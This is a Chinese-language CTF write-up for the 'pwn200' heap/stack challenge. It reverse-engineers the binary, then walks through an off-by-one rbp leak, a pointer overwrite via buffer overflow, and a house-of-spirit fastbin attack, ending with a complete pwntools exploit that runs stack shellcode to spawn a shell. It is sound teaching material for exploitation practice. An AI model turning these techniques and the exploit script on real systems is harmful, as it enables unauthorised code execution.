前言
本体知识点讲解:https://bbs.kanxue.com/thread-277530.htm
检查文件信息
1
2
ELF64动态链接程序,经过strip,除了Partial RELRO保护以外一个没开,无NX包保护可以考虑shellcode,无FULL RELRO可考虑改got。这里用house of spirit
3
4
r2分析出其为ubuntu14.04编译,应该是ubuntu2.19,可以去libc-datase下载对应版本libc,我这里就用glibc2.23了
试运行
5
一个登陆程序。
逆向分析
/*Entry()函数*/
__int64 Entry()
{
__int64 i; // [rsp+10h] [rbp-40h]
char name[48]; // [rsp+20h] [rbp-30h] BYREF
puts("who are u?");
for ( i = 0LL; i <= 47; ++i )
{
read(0, &name[i], 1uLL);
if ( name[i] == '\n' )
{
name[i] = 0;
break;
}
}
printf("%s, welcome to ISCC~ \n", name);
puts("give me your id ~~?");
get_num();
return get_money();
}
这里存在off-by-one漏洞读取name的时候,如果填满0x30个将不会有'\x00'截断,并且name变量仅挨着rbp,可以用来泄露rbp。
/*get_num()函数*/
int get_num()
{
char nptr[8]; // [rsp+0h] [rbp-10h] BYREF
int v2; // [rsp+8h] [rbp-8h]
int i; // [rsp+Ch] [rbp-4h]
v2 = 0;
for ( i = 0; i <= 3; ++i )
{
read(0, &nptr[i], 1uLL);
if ( nptr[i] == 10 )
{
nptr[i] = 0;
break;
}
if ( nptr[i] > '9' || nptr[i] <= '/' )
{
printf("0x%x ", (unsigned int)nptr[i]);
return 0;
}
}
v2 = atoi(nptr);
if ( v2 >= 0 )
return atoi(nptr);
else
return 0;
}
;Entry()函数调用get_num()之后的汇编代码
mov eax, 0
call get_num
cdqe
mov [rbp+var_38], rax ;rax一般是用来保存函数返回值的寄存器
mov eax, 0
查看Entry()函数尾部的汇编代码,看到get_num()函数的返回值保存在rbp-0x38的位置,紧挨着name变量。
/*get_money()函数*/
__int64 get_money()
{
char buf[56]; // [rsp+0h] [rbp-40h] BYREF
char *dest; // [rsp+38h] [rbp-8h]
dest = (char *)malloc(0x40uLL);
puts("give me money~");
read(0, buf, 0x40uLL);
strcpy(dest, buf);
ptr = dest;
Begin();
}
可以看到buf存在溢出,buf有0x38字节大小,却读入了0x40字节大小的数据,覆盖了dest指针。
/*Begin()函数*/
void Begin(void)
{
int num; // eax
while ( 1 )
{
while ( 1 )
{
menu();
num = get_num();
if ( num != 2 )
break;
check_out();
}
if ( num == 3 )
break;
if ( num == 1 )
check_in();
else
puts("invalid choice");
}
puts("good bye~");
}
/*check_in()函数*/
int check_in()
{
int nbytes; // [rsp+Ch] [rbp-4h]
if ( ptr )
return puts("already check in");
puts("how long?");
nbytes = get_num();
if ( nbytes <= 0 || nbytes > 0x80 )
return puts("invalid length");
ptr = malloc(nbytes);
printf("give me more money : ");
printf("\n%d\n", (unsigned int)nbytes);
read(0, ptr, (unsigned int)nbytes);
return puts("in~");
}
/*check_out()函数*/
void sub_40096D()
{
if ( ptr )
{
puts("out~");
free(ptr);
ptr = 0LL;
}
else
{
puts("havn't check in");
}
}
漏洞利用
利用house of spirit修改get_money()的返回地址为shellcode地址。
在栈上注入shellcode并泄露get_money_rbp地址。
def leek_rbp():
global fake_addr
global shellcode_addr
shellcode = asm(shellcraft.sh())
payload = shellcode.ljust(0x30, b'\x90')
p.recvuntil(b'who are u?\n')
p.send(payload)
p.recvuntil(payload)
rbp_addr = u64(p.recv(6).ljust(8, b'\x00'))
log.info("rbp_addr: 0x%x" % rbp_addr)
# 1
gdb.attach(p)
pause()
shellcode_addr = rbp_addr - 0x50
log.info("shellcode_addr: 0x%x" % shellcode_addr)
fake_addr = rbp_addr - 0x90
6
栈空间由高向低增长,调用者的栈比被调用者的栈高,每次函数调用结束都会进行leave_ret,也就是(mov rbp, rsp; pop rbp; pop rip),递归调用函数会让rbp成为一个栈式链,由此可以推断每个函数的rbp是什麼。call指令每次调用会把下一条指令的地址压栈,然后才是调用函数,开始push rbp。rbp高一个size位就是ret执行的地方。
比如,标记的这个rbp地址(0x7ffd062acd40)是get_money()函数的rbp,这个rbp里保存的地址(泄露的)是Entry()函数的rbp(0x7ffd062acd60),shellcode距离泄露的Entry_rbp有0x50距离,标记ret就是其返回地址,也就是ret指令执行处,回到调用者执行流。
fake_addr之所以要-0x90,是因为在get_money的栈帧里,rbp-0x38的空间都是buf数组的,剩下0x8属于dest,这0x40空间都是可控的,方便接下来我们也可以由此控制rbp高0x8字节处的retaddr。
利用buf溢出使dest指向fake_addr
def overwrite_dest():
p.recvuntil(b'give me your id ~~?\n')
p.sendline(b'65') # 65即0x41,将shellcode的低地址改为0x41(size位)
p.recvuntil(b'give me money~\n')
data = p64(0) * 4 + p64(0) + p64(0x41) + p64(0) + p64(fake_addr) # \x00截断strcpy,防止改写dest
p.send(data)
# 2
gdb.attach(p)
pause()
7
1-get_money的rbp
2-get_money的retaddr
3-shellcode
我们知道,堆空间由低地址向高地址增长,栈由高向低增长,所以在低地址0x8处(rbp-0x38)的0x41就是shellcode的size位了。当我们free(dest)时,就是free(fake_addr),0x41大小的fake_chunk会被放入fastbin,get_money的retaddr距离我们的用户区域有0x18字节大小,接下来只需要把get_money的retaddr改为shellcode地址退出即可。
控制retaddr并修改get_money的retaddr为shellcode地址
def get_shell():
p.recvuntil(b'choice : ')
p.sendline(b'2')
# 3
gdb.attach(p)
pause()
p.recvuntil(b'choice : ')
p.sendline(b'1')
p.recvuntil(b'long?\n')
p.sendline(b'48')
p.recvline(b'48')
data = b'\x90'*0x18 + p64(shellcode_addr)
data = data.ljust(0x30, b'\x90')
p.send(data)
# 4
gdb.attach(p)
pause()
p.recvuntil(b'choice')
p.sendline(b'3')
p.interactive()
9
8
当我们free(dest)后,可以看到fastbin里有了栈地址(rbp-0x100)。申请0x30大小就可以将其申请出来,其用户区偏移0x18处就是get_money_retaddr。
10
可以看到已经成功将get_money_retaddr修改为了shellcode地址。
11
完整exp
from pwn import *
context.terminal=['tmux', 'splitw', '-h']
context.arch='amd64'
elf = ELF('./pwn200')
p = process('./pwn200')
#p = remote('node4.buuoj.cn',25633)
def leek_rbp():
global fake_addr
global shellcode_addr
shellcode = asm(shellcraft.sh())
payload = shellcode.ljust(0x30, b'\x90')
p.recvuntil(b'who are u?\n')
p.send(payload)
p.recvuntil(payload)
rbp_addr = u64(p.recv(6).ljust(8, b'\x00'))
log.info("rbp_addr: 0x%x" % rbp_addr)
# 1
#gdb.attach(p)
#pause()
shellcode_addr = rbp_addr - 0x50
log.info("shellcode_addr: 0x%x" % shellcode_addr)
fake_addr = rbp_addr - 0x90
def overwrite_dest():
p.recvuntil(b'give me your id ~~?\n')
p.sendline(b'65')
p.recvuntil(b'give me money~\n')
data = p64(0) * 4 + p64(0) + p64(0x41) + p64(0) + p64(fake_addr)
p.send(data)
# 2
#gdb.attach(p)
#pause()
def get_shell():
p.recvuntil(b'choice : ')
p.sendline(b'2')
# 3
gdb.attach(p)
pause()
p.recvuntil(b'choice : ')
p.sendline(b'1')
p.recvuntil(b'long?\n')
p.sendline(b'48')
p.recvline(b'48')
data = b'\x90'*0x18 + p64(shellcode_addr)
data = data.ljust(0x30, b'\x90')
p.send(data)
# 4
gdb.attach(p)
pause()
p.recvuntil(b'choice')
p.sendline(b'3')
p.interactive()
def pwn():
leek_rbp()
overwrite_dest()
get_shell()
if __name__ == '__main__':
pwn()